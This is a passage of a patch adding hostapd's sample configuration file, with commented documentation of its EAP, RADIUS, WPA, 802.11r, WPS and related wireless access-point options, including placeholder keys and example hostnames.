++# Note: hostapd does not yet support CRL downloading based on CDP. Thus, a
++# valid CRL signed by the CA is required to be included in the ca_cert file.
++# This can be done by using PEM format for CA certificate and CRL and
++# concatenating these into one file. Whenever CRL changes, hostapd needs to be
++# restarted to take the new CRL into use.
++# 0 = do not verify CRLs (default)
++# 1 = check the CRL of the user certificate
++# 2 = check all CRLs in the certificate path
++#check_crl=1
++
++# TLS Session Lifetime in seconds
++# This can be used to allow TLS sessions to be cached and resumed with an
++# abbreviated handshake when using EAP-TLS/TTLS/PEAP.
++# (default: 0 = session caching and resumption disabled)
++#tls_session_lifetime=3600
++
++# Cached OCSP stapling response (DER encoded)
++# If set, this file is sent as a certificate status response by the EAP server
++# if the EAP peer requests certificate status in the ClientHello message.
++# This cache file can be updated, e.g., by running following command
++# periodically to get an update from the OCSP responder:
++# openssl ocsp \
++#	-no_nonce \
++#	-CAfile /etc/hostapd.ca.pem \
++#	-issuer /etc/hostapd.ca.pem \
++#	-cert /etc/hostapd.server.pem \
++#	-url http://ocsp.example.com:8888/ \
++#	-respout /tmp/ocsp-cache.der
++#ocsp_stapling_response=/tmp/ocsp-cache.der
++
++# Cached OCSP stapling response list (DER encoded OCSPResponseList)
++# This is similar to ocsp_stapling_response, but the extended version defined in
++# RFC 6961 to allow multiple OCSP responses to be provided.
++#ocsp_stapling_response_multi=/tmp/ocsp-multi-cache.der
++
++# dh_file: File path to DH/DSA parameters file (in PEM format)
++# This is an optional configuration file for setting parameters for an
++# ephemeral DH key exchange. In most cases, the default RSA authentication does
++# not use this configuration. However, it is possible setup RSA to use
++# ephemeral DH key exchange. In addition, ciphers with DSA keys always use
++# ephemeral DH keys. This can be used to achieve forward secrecy. If the file
++# is in DSA parameters format, it will be automatically converted into DH
++# params. This parameter is required if anonymous EAP-FAST is used.
++# You can generate DH parameters file with OpenSSL, e.g.,
++# "openssl dhparam -out /etc/hostapd.dh.pem 2048"
++#dh_file=/etc/hostapd.dh.pem
++
++# OpenSSL cipher string
++#
++# This is an OpenSSL specific configuration option for configuring the default
++# ciphers. If not set, "DEFAULT:!EXP:!LOW" is used as the default.
++# See https://www.openssl.org/docs/apps/ciphers.html for OpenSSL documentation
++# on cipher suite configuration. This is applicable only if hostapd is built to
++# use OpenSSL.
++#openssl_ciphers=DEFAULT:!EXP:!LOW
++
++# Fragment size for EAP methods
++#fragment_size=1400
++
++# Finite cyclic group for EAP-pwd. Number maps to group of domain parameters
++# using the IANA repository for IKE (RFC 2409).
++#pwd_group=19
++
++# Configuration data for EAP-SIM database/authentication gateway interface.
++# This is a text string in implementation specific format. The example
++# implementation in eap_sim_db.c uses this as the UNIX domain socket name for
++# the HLR/AuC gateway (e.g., hlr_auc_gw). In this case, the path uses "unix:"
++# prefix. If hostapd is built with SQLite support (CONFIG_SQLITE=y in .config),
++# database file can be described with an optional db=<path> parameter.
++#eap_sim_db=unix:/tmp/hlr_auc_gw.sock
++#eap_sim_db=unix:/tmp/hlr_auc_gw.sock db=/tmp/hostapd.db
++
++# EAP-SIM DB request timeout
++# This parameter sets the maximum time to wait for a database request response.
++# The parameter value is in seconds.
++#eap_sim_db_timeout=1
++
++# Encryption key for EAP-FAST PAC-Opaque values. This key must be a secret,
++# random value. It is configured as a 16-octet value in hex format. It can be
++# generated, e.g., with the following command:
++# od -tx1 -v -N16 /dev/random | colrm 1 8 | tr -d ' '
++#pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
++
++# EAP-FAST authority identity (A-ID)
++# A-ID indicates the identity of the authority that issues PACs. The A-ID
++# should be unique across all issuing servers. In theory, this is a variable
++# length field, but due to some existing implementations requiring A-ID to be
++# 16 octets in length, it is strongly recommended to use that length for the
++# field to provid interoperability with deployed peer implementations. This
++# field is configured in hex format.
++#eap_fast_a_id=101112131415161718191a1b1c1d1e1f
++
++# EAP-FAST authority identifier information (A-ID-Info)
++# This is a user-friendly name for the A-ID. For example, the enterprise name
++# and server name in a human-readable format. This field is encoded as UTF-8.
++#eap_fast_a_id_info=test server
++
++# Enable/disable different EAP-FAST provisioning modes:
++#0 = provisioning disabled
++#1 = only anonymous provisioning allowed
++#2 = only authenticated provisioning allowed
++#3 = both provisioning modes allowed (default)
++#eap_fast_prov=3
++
++# EAP-FAST PAC-Key lifetime in seconds (hard limit)
++#pac_key_lifetime=604800
++
++# EAP-FAST PAC-Key refresh time in seconds (soft limit on remaining hard
++# limit). The server will generate a new PAC-Key when this number of seconds
++# (or fewer) of the lifetime remains.
++#pac_key_refresh_time=86400
++
++# EAP-SIM and EAP-AKA protected success/failure indication using AT_RESULT_IND
++# (default: 0 = disabled).
++#eap_sim_aka_result_ind=1
++
++# Trusted Network Connect (TNC)
++# If enabled, TNC validation will be required before the peer is allowed to
++# connect. Note: This is only used with EAP-TTLS and EAP-FAST. If any other
++# EAP method is enabled, the peer will be allowed to connect without TNC.
++#tnc=1
++
++# EAP Re-authentication Protocol (ERP) - RFC 6696
++#
++# Whether to enable ERP on the EAP server.
++#eap_server_erp=1
++
++##### IEEE 802.11f - Inter-Access Point Protocol (IAPP) #######################
++
++# Interface to be used for IAPP broadcast packets
++#iapp_interface=eth0
++
++
++##### RADIUS client configuration #############################################
++# for IEEE 802.1X with external Authentication Server, IEEE 802.11
++# authentication with external ACL for MAC addresses, and accounting
++
++# The own IP address of the access point (used as NAS-IP-Address)
++own_ip_addr=127.0.0.1
++
++# NAS-Identifier string for RADIUS messages. When used, this should be unique
++# to the NAS within the scope of the RADIUS server. Please note that hostapd
++# uses a separate RADIUS client for each BSS and as such, a unique
++# nas_identifier value should be configured separately for each BSS. This is
++# particularly important for cases where RADIUS accounting is used
++# (Accounting-On/Off messages are interpreted as clearing all ongoing sessions
++# and that may get interpreted as applying to all BSSes if the same
++# NAS-Identifier value is used.) For example, a fully qualified domain name
++# prefixed with a unique identifier of the BSS (e.g., BSSID) can be used here.
++#
++# When using IEEE 802.11r, nas_identifier must be set and must be between 1 and
++# 48 octets long.
++#
++# It is mandatory to configure either own_ip_addr or nas_identifier to be
++# compliant with the RADIUS protocol. When using RADIUS accounting, it is
++# strongly recommended that nas_identifier is set to a unique value for each
++# BSS.
++#nas_identifier=ap.example.com
++
++# RADIUS client forced local IP address for the access point
++# Normally the local IP address is determined automatically based on configured
++# IP addresses, but this field can be used to force a specific address to be
++# used, e.g., when the device has multiple IP addresses.
++#radius_client_addr=127.0.0.1
++
++# RADIUS authentication server
++#auth_server_addr=127.0.0.1
++#auth_server_port=1812
++#auth_server_shared_secret=secret
++
++# RADIUS accounting server
++#acct_server_addr=127.0.0.1
++#acct_server_port=1813
++#acct_server_shared_secret=secret
++
++# Secondary RADIUS servers; to be used if primary one does not reply to
++# RADIUS packets. These are optional and there can be more than one secondary
++# server listed.
++#auth_server_addr=127.0.0.2
++#auth_server_port=1812
++#auth_server_shared_secret=secret2
++#
++#acct_server_addr=127.0.0.2
++#acct_server_port=1813
++#acct_server_shared_secret=secret2
++
++# Retry interval for trying to return to the primary RADIUS server (in
++# seconds). RADIUS client code will automatically try to use the next server
++# when the current server is not replying to requests. If this interval is set,
++# primary server will be retried after configured amount of time even if the
++# currently used secondary server is still working.
++#radius_retry_primary_interval=600
++
++
++# Interim accounting update interval
++# If this is set (larger than 0) and acct_server is configured, hostapd will
++# send interim accounting updates every N seconds. Note: if set, this overrides
++# possible Acct-Interim-Interval attribute in Access-Accept message. Thus, this
++# value should not be configured in hostapd.conf, if RADIUS server is used to
++# control the interim interval.
++# This value should not be less 600 (10 minutes) and must not be less than
++# 60 (1 minute).
++#radius_acct_interim_interval=600
++
++# Request Chargeable-User-Identity (RFC 4372)
++# This parameter can be used to configure hostapd to request CUI from the
++# RADIUS server by including Chargeable-User-Identity attribute into
++# Access-Request packets.
++#radius_request_cui=1
++
++# Dynamic VLAN mode; allow RADIUS authentication server to decide which VLAN
++# is used for the stations. This information is parsed from following RADIUS
++# attributes based on RFC 3580 and RFC 2868: Tunnel-Type (value 13 = VLAN),
++# Tunnel-Medium-Type (value 6 = IEEE 802), Tunnel-Private-Group-ID (value
++# VLANID as a string). Optionally, the local MAC ACL list (accept_mac_file) can
++# be used to set static client MAC address to VLAN ID mapping.
++# 0 = disabled (default)
++# 1 = option; use default interface if RADIUS server does not include VLAN ID
++# 2 = required; reject authentication if RADIUS server does not include VLAN ID
++#dynamic_vlan=0
++
++# Per-Station AP_VLAN interface mode
++# If enabled, each station is assigned its own AP_VLAN interface.
++# This implies per-station group keying and ebtables filtering of inter-STA
++# traffic (when passed through the AP).
++# If the sta is not assigned to any VLAN, then its AP_VLAN interface will be
++# added to the bridge given by the "bridge" configuration option (see above).
++# Otherwise, it will be added to the per-VLAN bridge.
++# 0 = disabled (default)
++# 1 = enabled
++#per_sta_vif=0
++
++# VLAN interface list for dynamic VLAN mode is read from a separate text file.
++# This list is used to map VLAN ID from the RADIUS server to a network
++# interface. Each station is bound to one interface in the same way as with
++# multiple BSSIDs or SSIDs. Each line in this text file is defining a new
++# interface and the line must include VLAN ID and interface name separated by
++# white space (space or tab).
++# If no entries are provided by this file, the station is statically mapped
++# to <bss-iface>.<vlan-id> interfaces.
++#vlan_file=/etc/hostapd.vlan
++
++# Interface where 802.1q tagged packets should appear when a RADIUS server is
++# used to determine which VLAN a station is on.  hostapd creates a bridge for
++# each VLAN.  Then hostapd adds a VLAN interface (associated with the interface
++# indicated by 'vlan_tagged_interface') and the appropriate wireless interface
++# to the bridge.
++#vlan_tagged_interface=eth0
++
++# Bridge (prefix) to add the wifi and the tagged interface to. This gets the
++# VLAN ID appended. It defaults to brvlan%d if no tagged interface is given
++# and br%s.%d if a tagged interface is given, provided %s = tagged interface
++# and %d = VLAN ID.
++#vlan_bridge=brvlan
++
++# When hostapd creates a VLAN interface on vlan_tagged_interfaces, it needs
++# to know how to name it.
++# 0 = vlan<XXX>, e.g., vlan1
++# 1 = <vlan_tagged_interface>.<XXX>, e.g. eth0.1
++#vlan_naming=0
++
++# Arbitrary RADIUS attributes can be added into Access-Request and
++# Accounting-Request packets by specifying the contents of the attributes with
++# the following configuration parameters. There can be multiple of these to
++# add multiple attributes. These parameters can also be used to override some
++# of the attributes added automatically by hostapd.
++# Format: <attr_id>[:<syntax:value>]
++# attr_id: RADIUS attribute type (e.g., 26 = Vendor-Specific)
++# syntax: s = string (UTF-8), d = integer, x = octet string
++# value: attribute value in format indicated by the syntax
++# If syntax and value parts are omitted, a null value (single 0x00 octet) is
++# used.
++#
++# Additional Access-Request attributes
++# radius_auth_req_attr=<attr_id>[:<syntax:value>]
++# Examples:
++# Operator-Name = "Operator"
++#radius_auth_req_attr=126:s:Operator
++# Service-Type = Framed (2)
++#radius_auth_req_attr=6:d:2
++# Connect-Info = "testing" (this overrides the automatically generated value)
++#radius_auth_req_attr=77:s:testing
++# Same Connect-Info value set as a hexdump
++#radius_auth_req_attr=77:x:74657374696e67
++
++#
++# Additional Accounting-Request attributes
++# radius_acct_req_attr=<attr_id>[:<syntax:value>]
++# Examples:
++# Operator-Name = "Operator"
++#radius_acct_req_attr=126:s:Operator
++
++# Dynamic Authorization Extensions (RFC 5176)
++# This mechanism can be used to allow dynamic changes to user session based on
++# commands from a RADIUS server (or some other disconnect client that has the
++# needed session information). For example, Disconnect message can be used to
++# request an associated station to be disconnected.
++#
++# This is disabled by default. Set radius_das_port to non-zero UDP port
++# number to enable.
++#radius_das_port=3799
++#
++# DAS client (the host that can send Disconnect/CoA requests) and shared secret
++#radius_das_client=192.168.1.123 shared secret here
++#
++# DAS Event-Timestamp time window in seconds
++#radius_das_time_window=300
++#
++# DAS require Event-Timestamp
++#radius_das_require_event_timestamp=1
++#
++# DAS require Message-Authenticator
++#radius_das_require_message_authenticator=1
++
++##### RADIUS authentication server configuration ##############################
++
++# hostapd can be used as a RADIUS authentication server for other hosts. This
++# requires that the integrated EAP server is also enabled and both
++# authentication services are sharing the same configuration.
++
++# File name of the RADIUS clients configuration for the RADIUS server. If this
++# commented out, RADIUS server is disabled.
++#radius_server_clients=/etc/hostapd.radius_clients
++
++# The UDP port number for the RADIUS authentication server
++#radius_server_auth_port=1812
++
++# The UDP port number for the RADIUS accounting server
++# Commenting this out or setting this to 0 can be used to disable RADIUS
++# accounting while still enabling RADIUS authentication.
++#radius_server_acct_port=1813
++
++# Use IPv6 with RADIUS server (IPv4 will also be supported using IPv6 API)
++#radius_server_ipv6=1
++
++
++##### WPA/IEEE 802.11i configuration ##########################################
++
++# Enable WPA. Setting this variable configures the AP to require WPA (either
++# WPA-PSK or WPA-RADIUS/EAP based on other configuration). For WPA-PSK, either
++# wpa_psk or wpa_passphrase must be set and wpa_key_mgmt must include WPA-PSK.
++# Instead of wpa_psk / wpa_passphrase, wpa_psk_radius might suffice.
++# For WPA-RADIUS/EAP, ieee8021x must be set (but without dynamic WEP keys),
++# RADIUS authentication server must be configured, and WPA-EAP must be included
++# in wpa_key_mgmt.
++# This field is a bit field that can be used to enable WPA (IEEE 802.11i/D3.0)
++# and/or WPA2 (full IEEE 802.11i/RSN):
++# bit0 = WPA
++# bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled)
++#wpa=1
++
++# WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit
++# secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase
++# (8..63 characters) that will be converted to PSK. This conversion uses SSID
++# so the PSK changes when ASCII passphrase is used and the SSID is changed.
++# wpa_psk (dot11RSNAConfigPSKValue)
++# wpa_passphrase (dot11RSNAConfigPSKPassPhrase)
++#wpa_psk=0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
++#wpa_passphrase=secret passphrase
++
++# Optionally, WPA PSKs can be read from a separate text file (containing list
++# of (PSK,MAC address) pairs. This allows more than one PSK to be configured.
++# Use absolute path name to make sure that the files can be read on SIGHUP
++# configuration reloads.
++#wpa_psk_file=/etc/hostapd.wpa_psk
++
++# Optionally, WPA passphrase can be received from RADIUS authentication server
++# This requires macaddr_acl to be set to 2 (RADIUS)
++# 0 = disabled (default)
++# 1 = optional; use default passphrase/psk if RADIUS server does not include
++#	Tunnel-Password
++# 2 = required; reject authentication if RADIUS server does not include
++#	Tunnel-Password
++#wpa_psk_radius=0
++
++# Set of accepted key management algorithms (WPA-PSK, WPA-EAP, or both). The
++# entries are separated with a space. WPA-PSK-SHA256 and WPA-EAP-SHA256 can be
++# added to enable SHA256-based stronger algorithms.
++# (dot11RSNAConfigAuthenticationSuitesTable)
++#wpa_key_mgmt=WPA-PSK WPA-EAP
++
++# Set of accepted cipher suites (encryption algorithms) for pairwise keys
++# (unicast packets). This is a space separated list of algorithms:
++# CCMP = AES in Counter mode with CBC-MAC [RFC 3610, IEEE 802.11i/D7.0]
++# TKIP = Temporal Key Integrity Protocol [IEEE 802.11i/D7.0]
++# Group cipher suite (encryption algorithm for broadcast and multicast frames)
++# is automatically selected based on this configuration. If only CCMP is
++# allowed as the pairwise cipher, group cipher will also be CCMP. Otherwise,
++# TKIP will be used as the group cipher.
++# (dot11RSNAConfigPairwiseCiphersTable)
++# Pairwise cipher for WPA (v1) (default: TKIP)
++#wpa_pairwise=TKIP CCMP
++# Pairwise cipher for RSN/WPA2 (default: use wpa_pairwise value)
++#rsn_pairwise=CCMP
++
++# Time interval for rekeying GTK (broadcast/multicast encryption keys) in
++# seconds. (dot11RSNAConfigGroupRekeyTime)
++#wpa_group_rekey=600
++
++# Rekey GTK when any STA that possesses the current GTK is leaving the BSS.
++# (dot11RSNAConfigGroupRekeyStrict)
++#wpa_strict_rekey=1
++
++# Time interval for rekeying GMK (master key used internally to generate GTKs
++# (in seconds).
++#wpa_gmk_rekey=86400
++
++# Maximum lifetime for PTK in seconds. This can be used to enforce rekeying of
++# PTK to mitigate some attacks against TKIP deficiencies.
++#wpa_ptk_rekey=600
++
++# Enable IEEE 802.11i/RSN/WPA2 pre-authentication. This is used to speed up
++# roaming be pre-authenticating IEEE 802.1X/EAP part of the full RSN
++# authentication and key handshake before actually associating with a new AP.
++# (dot11RSNAPreauthenticationEnabled)
++#rsn_preauth=1
++#
++# Space separated list of interfaces from which pre-authentication frames are
++# accepted (e.g., 'eth0' or 'eth0 wlan0wds0'. This list should include all
++# interface that are used for connections to other APs. This could include
++# wired interfaces and WDS links. The normal wireless data interface towards
++# associated stations (e.g., wlan0) should not be added, since
++# pre-authentication is only used with APs other than the currently associated
++# one.
++#rsn_preauth_interfaces=eth0
++
++# peerkey: Whether PeerKey negotiation for direct links (IEEE 802.11e) is
++# allowed. This is only used with RSN/WPA2.
++# 0 = disabled (default)
++# 1 = enabled
++#peerkey=1
++
++# ieee80211w: Whether management frame protection (MFP) is enabled
++# 0 = disabled (default)
++# 1 = optional
++# 2 = required
++#ieee80211w=0
++
++# Group management cipher suite
++# Default: AES-128-CMAC (BIP)
++# Other options (depending on driver support):
++# BIP-GMAC-128
++# BIP-GMAC-256
++# BIP-CMAC-256
++# Note: All the stations connecting to the BSS will also need to support the
++# selected cipher. The default AES-128-CMAC is the only option that is commonly
++# available in deployed devices.
++#group_mgmt_cipher=AES-128-CMAC
++
++# Association SA Query maximum timeout (in TU = 1.024 ms; for MFP)
++# (maximum time to wait for a SA Query response)
++# dot11AssociationSAQueryMaximumTimeout, 1...4294967295
++#assoc_sa_query_max_timeout=1000
++
++# Association SA Query retry timeout (in TU = 1.024 ms; for MFP)
++# (time between two subsequent SA Query requests)
++# dot11AssociationSAQueryRetryTimeout, 1...4294967295
++#assoc_sa_query_retry_timeout=201
++
++# disable_pmksa_caching: Disable PMKSA caching
++# This parameter can be used to disable caching of PMKSA created through EAP
++# authentication. RSN preauthentication may still end up using PMKSA caching if
++# it is enabled (rsn_preauth=1).
++# 0 = PMKSA caching enabled (default)
++# 1 = PMKSA caching disabled
++#disable_pmksa_caching=0
++
++# okc: Opportunistic Key Caching (aka Proactive Key Caching)
++# Allow PMK cache to be shared opportunistically among configured interfaces
++# and BSSes (i.e., all configurations within a single hostapd process).
++# 0 = disabled (default)
++# 1 = enabled
++#okc=1
++
++# SAE threshold for anti-clogging mechanism (dot11RSNASAEAntiCloggingThreshold)
++# This parameter defines how many open SAE instances can be in progress at the
++# same time before the anti-clogging mechanism is taken into use.
++#sae_anti_clogging_threshold=5
++
++# Enabled SAE finite cyclic groups
++# SAE implementation are required to support group 19 (ECC group defined over a
++# 256-bit prime order field). All groups that are supported by the
++# implementation are enabled by default. This configuration parameter can be
++# used to specify a limited set of allowed groups. The group values are listed
++# in the IANA registry:
++# http://www.iana.org/assignments/ipsec-registry/ipsec-registry.xml#ipsec-registry-9
++#sae_groups=19 20 21 25 26
++
++##### IEEE 802.11r configuration ##############################################
++
++# Mobility Domain identifier (dot11FTMobilityDomainID, MDID)
++# MDID is used to indicate a group of APs (within an ESS, i.e., sharing the
++# same SSID) between which a STA can use Fast BSS Transition.
++# 2-octet identifier as a hex string.
++#mobility_domain=a1b2
++
++# PMK-R0 Key Holder identifier (dot11FTR0KeyHolderID)
++# 1 to 48 octet identifier.
++# This is configured with nas_identifier (see RADIUS client section above).
++
++# Default lifetime of the PMK-RO in minutes; range 1..65535
++# (dot11FTR0KeyLifetime)
++#r0_key_lifetime=10000
++
++# PMK-R1 Key Holder identifier (dot11FTR1KeyHolderID)
++# 6-octet identifier as a hex string.
++# Defaults to BSSID.
++#r1_key_holder=000102030405
++
++# Reassociation deadline in time units (TUs / 1.024 ms; range 1000..65535)
++# (dot11FTReassociationDeadline)
++#reassociation_deadline=1000
++
++# List of R0KHs in the same Mobility Domain
++# format: <MAC address> <NAS Identifier> <128-bit key as hex string>
++# This list is used to map R0KH-ID (NAS Identifier) to a destination MAC
++# address when requesting PMK-R1 key from the R0KH that the STA used during the
++# Initial Mobility Domain Association.
++#r0kh=02:01:02:03:04:05 r0kh-1.example.com 000102030405060708090a0b0c0d0e0f
++#r0kh=02:01:02:03:04:06 r0kh-2.example.com 00112233445566778899aabbccddeeff
++# And so on.. One line per R0KH.
++
++# List of R1KHs in the same Mobility Domain
++# format: <MAC address> <R1KH-ID> <128-bit key as hex string>
++# This list is used to map R1KH-ID to a destination MAC address when sending
++# PMK-R1 key from the R0KH. This is also the list of authorized R1KHs in the MD
++# that can request PMK-R1 keys.
++#r1kh=02:01:02:03:04:05 02:11:22:33:44:55 000102030405060708090a0b0c0d0e0f
++#r1kh=02:01:02:03:04:06 02:11:22:33:44:66 00112233445566778899aabbccddeeff
++# And so on.. One line per R1KH.
++
++# Whether PMK-R1 push is enabled at R0KH
++# 0 = do not push PMK-R1 to all configured R1KHs (default)
++# 1 = push PMK-R1 to all configured R1KHs whenever a new PMK-R0 is derived
++#pmk_r1_push=1
++
++# Whether to enable FT-over-DS
++# 0 = FT-over-DS disabled
++# 1 = FT-over-DS enabled (default)
++#ft_over_ds=1
++
++##### Neighbor table ##########################################################
++# Maximum number of entries kept in AP table (either for neigbor table or for
++# detecting Overlapping Legacy BSS Condition). The oldest entry will be
++# removed when adding a new entry that would make the list grow over this
++# limit. Note! WFA certification for IEEE 802.11g requires that OLBC is
++# enabled, so this field should not be set to 0 when using IEEE 802.11g.
++# default: 255
++#ap_table_max_size=255
++
++# Number of seconds of no frames received after which entries may be deleted
++# from the AP table. Since passive scanning is not usually performed frequently
++# this should not be set to very small value. In addition, there is no
++# guarantee that every scan cycle will receive beacon frames from the
++# neighboring APs.
++# default: 60
++#ap_table_expiration_time=3600
++
++# Maximum number of stations to track on the operating channel
++# This can be used to detect dualband capable stations before they have
++# associated, e.g., to provide guidance on which colocated BSS to use.
++# Default: 0 (disabled)
++#track_sta_max_num=100
++
++# Maximum age of a station tracking entry in seconds
++# Default: 180
++#track_sta_max_age=180
++
++# Do not reply to group-addressed Probe Request from a station that was seen on
++# another radio.
++# Default: Disabled
++#
++# This can be used with enabled track_sta_max_num configuration on another
++# interface controlled by the same hostapd process to restrict Probe Request
++# frame handling from replying to group-addressed Probe Request frames from a
++# station that has been detected to be capable of operating on another band,
++# e.g., to try to reduce likelihood of the station selecting a 2.4 GHz BSS when
++# the AP operates both a 2.4 GHz and 5 GHz BSS concurrently.
++#
++# Note: Enabling this can cause connectivity issues and increase latency for
++# discovering the AP.
++#no_probe_resp_if_seen_on=wlan1
++
++# Reject authentication from a station that was seen on another radio.
++# Default: Disabled
++#
++# This can be used with enabled track_sta_max_num configuration on another
++# interface controlled by the same hostapd process to reject authentication
++# attempts from a station that has been detected to be capable of operating on
++# another band, e.g., to try to reduce likelihood of the station selecting a
++# 2.4 GHz BSS when the AP operates both a 2.4 GHz and 5 GHz BSS concurrently.
++#
++# Note: Enabling this can cause connectivity issues and increase latency for
++# connecting with the AP.
++#no_auth_if_seen_on=wlan1
++
++##### Wi-Fi Protected Setup (WPS) #############################################
++
++# WPS state
++# 0 = WPS disabled (default)
++# 1 = WPS enabled, not configured
++# 2 = WPS enabled, configured
++#wps_state=2
++
++# Whether to manage this interface independently from other WPS interfaces
++# By default, a single hostapd process applies WPS operations to all configured
++# interfaces. This parameter can be used to disable that behavior for a subset
++# of interfaces. If this is set to non-zero for an interface, WPS commands
++# issued on that interface do not apply to other interfaces and WPS operations
++# performed on other interfaces do not affect this interface.
++#wps_independent=0
++
++# AP can be configured into a locked state where new WPS Registrar are not
++# accepted, but previously authorized Registrars (including the internal one)
++# can continue to add new Enrollees.
++#ap_setup_locked=1
++
++# Universally Unique IDentifier (UUID; see RFC 4122) of the device
++# This value is used as the UUID for the internal WPS Registrar. If the AP
++# is also using UPnP, this value should be set to the device's UPnP UUID.
++# If not configured, UUID will be generated based on the local MAC address.
++#uuid=12345678-9abc-def0-1234-56789abcdef0
++
++# Note: If wpa_psk_file is set, WPS is used to generate random, per-device PSKs
++# that will be appended to the wpa_psk_file. If wpa_psk_file is not set, the
++# default PSK (wpa_psk/wpa_passphrase) will be delivered to Enrollees. Use of
++# per-device PSKs is recommended as the more secure option (i.e., make sure to
++# set wpa_psk_file when using WPS with WPA-PSK).
++
++# When an Enrollee requests access to the network with PIN method, the Enrollee
++# PIN will need to be entered for the Registrar. PIN request notifications are
++# sent to hostapd ctrl_iface monitor. In addition, they can be written to a
++# text file that could be used, e.g., to populate the AP administration UI with
++# pending PIN requests. If the following variable is set, the PIN requests will
++# be written to the configured file.
++#wps_pin_requests=/var/run/hostapd_wps_pin_requests
++
++# Device Name
++# User-friendly description of device; up to 32 octets encoded in UTF-8
++#device_name=Wireless AP
++
++# Manufacturer
++# The manufacturer of the device (up to 64 ASCII characters)
++#manufacturer=Company
++
++# Model Name
++# Model of the device (up to 32 ASCII characters)
++#model_name=WAP
++
++# Model Number
++# Additional device description (up to 32 ASCII characters)
++#model_number=123
++
++# Serial Number
++# Serial number of the device (up to 32 characters)
++#serial_number=12345
++
++# Primary Device Type
++# Used format: <categ>-<OUI>-<subcateg>
++# categ = Category as an integer value
++# OUI = OUI and type octet as a 4-octet hex-encoded value; 0050F204 for
++#       default WPS OUI
++# subcateg = OUI-specific Sub Category as an integer value
++# Examples:
++#   1-0050F204-1 (Computer / PC)
++#   1-0050F204-2 (Computer / Server)
++#   5-0050F204-1 (Storage / NAS)
++#   6-0050F204-1 (Network Infrastructure / AP)
++#device_type=6-0050F204-1
++
++# OS Version
++# 4-octet operating system version number (hex string)
++#os_version=01020300
++
++# Config Methods
++# List of the supported configuration methods
++# Available methods: usba ethernet label display ext_nfc_token int_nfc_token
++#	nfc_interface push_button keypad virtual_display physical_display
++#	virtual_push_button physical_push_button
++#config_methods=label virtual_display virtual_push_button keypad
++
++# WPS capability discovery workaround for PBC with Windows 7
++# Windows 7 uses incorrect way of figuring out AP's WPS capabilities by acting
++# as a Registrar and using M1 from the AP. The config methods attribute in that
++# message is supposed to indicate only the configuration method supported by
++# the AP in Enrollee role, i.e., to add an external Registrar. For that case,
++# PBC shall not be used and as such, the PushButton config method is removed
++# from M1 by default. If pbc_in_m1=1 is included in the configuration file,
++# the PushButton config method is left in M1 (if included in config_methods
++# parameter) to allow Windows 7 to use PBC instead of PIN (e.g., from a label
++# in the AP).
++#pbc_in_m1=1
++
++# Static access point PIN for initial configuration and adding Registrars
++# If not set, hostapd will not allow external WPS Registrars to control the
++# access point. The AP PIN can also be set at runtime with hostapd_cli
++# wps_ap_pin command. Use of temporary (enabled by user action) and random
++# AP PIN is much more secure than configuring a static AP PIN here. As such,
++# use of the ap_pin parameter is not recommended if the AP device has means for
++# displaying a random PIN.
++#ap_pin=12345670
++
++# Skip building of automatic WPS credential
++# This can be used to allow the automatically generated Credential attribute to
++# be replaced with pre-configured Credential(s).
++#skip_cred_build=1
++
++# Additional Credential attribute(s)
++# This option can be used to add pre-configured Credential attributes into M8
++# message when acting as a Registrar. If skip_cred_build=1, this data will also
++# be able to override the Credential attribute that would have otherwise been
++# automatically generated based on network configuration. This configuration
++# option points to an external file that much contain the WPS Credential
++# attribute(s) as binary data.
++#extra_cred=hostapd.cred
++
++# Credential processing
++#   0 = process received credentials internally (default)
++#   1 = do not process received credentials; just pass them over ctrl_iface to
++#	external program(s)
++#   2 = process received credentials internally and pass them over ctrl_iface
++#	to external program(s)
++# Note: With wps_cred_processing=1, skip_cred_build should be set to 1 and
++# extra_cred be used to provide the Credential data for Enrollees.
++#
++# wps_cred_processing=1 will disabled automatic updates of hostapd.conf file
++# both for Credential processing and for marking AP Setup Locked based on
++# validation failures of AP PIN. An external program is responsible on updating
++# the configuration appropriately in this case.
++#wps_cred_processing=0
++
++# AP Settings Attributes for M7
++# By default, hostapd generates the AP Settings Attributes for M7 based on the
++# current configuration. It is possible to override this by providing a file
++# with pre-configured attributes. This is similar to extra_cred file format,
++# but the AP Settings attributes are not encapsulated in a Credential
++# attribute.
++#ap_settings=hostapd.ap_settings
++
++# WPS UPnP interface
++# If set, support for external Registrars is enabled.
++#upnp_iface=br0
++
++# Friendly Name (required for UPnP)
++# Short description for end use. Should be less than 64 characters.
++#friendly_name=WPS Access Point
++
++# Manufacturer URL (optional for UPnP)
++#manufacturer_url=http://www.example.com/
++
++# Model Description (recommended for UPnP)
++# Long description for end user. Should be less than 128 characters.
++#model_description=Wireless Access Point
++
++# Model URL (optional for UPnP)
++#model_url=http://www.example.com/model/
++
++# Universal Product Code (optional for UPnP)
++# 12-digit, all-numeric code that identifies the consumer package.
++#upc=123456789012
++
++# WPS RF Bands (a = 5G, b = 2.4G, g = 2.4G, ag = dual band, ad = 60 GHz)
++# This value should be set according to RF band(s) supported by the AP if
++# hw_mode is not set. For dual band dual concurrent devices, this needs to be
++# set to ag to allow both RF bands to be advertized.
++#wps_rf_bands=ag
++
++# NFC password token for WPS
++# These parameters can be used to configure a fixed NFC password token for the
++# AP. This can be generated, e.g., with nfc_pw_token from wpa_supplicant. When
++# these parameters are used, the AP is assumed to be deployed with a NFC tag
++# that includes the matching NFC password token (e.g., written based on the
++# NDEF record from nfc_pw_token).
++#
++#wps_nfc_dev_pw_id: Device Password ID (16..65535)
++#wps_nfc_dh_pubkey: Hexdump of DH Public Key
++#wps_nfc_dh_privkey: Hexdump of DH Private Key
++#wps_nfc_dev_pw: Hexdump of Device Password
++
++##### Wi-Fi Direct (P2P) ######################################################
++
++# Enable P2P Device management
++#manage_p2p=1
++
++# Allow cross connection
++#allow_cross_connection=1
++
++#### TDLS (IEEE 802.11z-2010) #################################################
++
++# Prohibit use of TDLS in this BSS
++#tdls_prohibit=1
++
++# Prohibit use of TDLS Channel Switching in this BSS
++#tdls_prohibit_chan_switch=1
++
++##### IEEE 802.11v-2011 #######################################################
++
++# Time advertisement
++# 0 = disabled (default)
++# 2 = UTC time at which the TSF timer is 0
++#time_advertisement=2
++
++# Local time zone as specified in 8.3 of IEEE Std 1003.1-2004:
++# stdoffset[dst[offset][,start[/time],end[/time]]]
++#time_zone=EST5
++
